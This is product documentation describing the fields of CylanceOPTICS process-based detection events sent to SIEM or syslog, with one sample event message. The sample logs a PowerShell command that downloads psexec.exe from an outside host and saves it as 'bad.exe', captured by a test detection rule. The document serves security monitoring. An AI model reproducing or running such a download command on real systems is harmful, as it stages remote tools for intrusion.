CylanceOPTICS process-based detection events
CylanceOPTICS
process-based detection eventsThese events occur when a detection event that includes a target process artifact is triggered. Note that some fields will include command line values that can include commas and colons.
BlackBerry
recommends that you review and test the parsing of these values by your SIEM or syslog server.Field | Value | Description |
---|---|---|
Description | [varies] | This is the name of the detection rule that was triggered. |
Detection Rule Id | [varies] | This is the unique detection rule ID. |
Device Id | [varies] | This is the unique ID of the device. |
Device Last Reported Users | [varies] | These are the last reported device users. |
Device Name | [varies] | This is the name of the device that the detection event occurred on. |
Event Id | [varies] | This is the unique ID of the detection event. |
Event Name | OpticsCaeProcessEvent | This is the detection event involved a target process. |
Event Received Timestamp | [varies] | This is the timestamp of when the event was received by CylanceOPTICS . |
Event Timestamp | [varies] | This is the timestamp of the event that occurred on the device. |
Event Type | OpticsCaeProcessEvent | This is the detection event involved in a target process. |
Instigating Process Command Line | [varies] | This is the command line that was used to start the instigating process. |
Instigating Process File Path | [varies] | This is the file path of the instigating process executable. |
Instigating Process ImageFileSha256 | [varies] | This is the SHA256 hash of the process that instigated the action. |
Instigating Process Name | [varies] | This is the process that instigated the action. |
Instigating Process Owner | [varies] | This is the user that owns the process that instigated the action. |
Severity | [varies] | This is the severity of the event:
|
Target Process Command Line | [varies] | This is the command line that was used to start the process of interest for the process event. |
Target Process File Path | [varies] | This is the path of the target process executable. |
Target Process ImageFileSha256 | [varies] | This is the SHA256 hash of the process that was started or terminated. |
Target Process Name | [varies] | This is the name of the process that was started or terminated. |
Target Process Owner | [varies] | This is the user who owns the process that was started or terminated. |
Zone Ids | [varies] | This is a list of zone IDs that the device belonged to at the time of the event. |
Zone Names | [varies] | These are the zones that the device belongs to. |
Example message for process-based detection events
Event Type: OpticsCaeProcessEvent, Event Name: OpticsCaeProcessEvent, Device Name: SECURITYSERVER2, Zone Names: (Jeff Test), Event Id: dbe47fda-f37b-42cc-a308-9675feb7e36a, Severity: High, Description: Jeffs Take 2 Powershell Download, Instigating Process Name: cmd.exe, Instigating Process Owner: PENTEST//Administrator, Instigating Process ImageFileSha256: 935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2, Event Timestamp: 2022-06-23T12:54:15.811Z, Event Received Timestamp: 2022-06-23T12:54:41Z, Device Last Reported Users: (PENTEST\Administrator), Zone Ids: (39BFDA7FEF71490584AAB4F163142350), Detection Rule Id: 3f110342-88f8-11ec-a8a3-0242ac120002, Instigating Process Command Line: "C:\Windows\system32\cmd.exe" , Instigating Process File Path: c:\windows\system32\cmd.exe, Target Process Name: powershell.exe, Target Process Owner: PENTEST//Administrator, Target Process ImageFileSha256: BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436, Device Id: 3514593e-7405-4319-8ca5-8ec876bf0195, Target Process Command Line: powershell -command "(new-object SYstem.Net.WebClient).DownloadFile('https://zaphod.cnerds.net/infection/psexec.exe', 'C:\dver\bad.exe')", Target Process File Path: c:\windows\system32\windowspowershell\v1.0\powershell.exe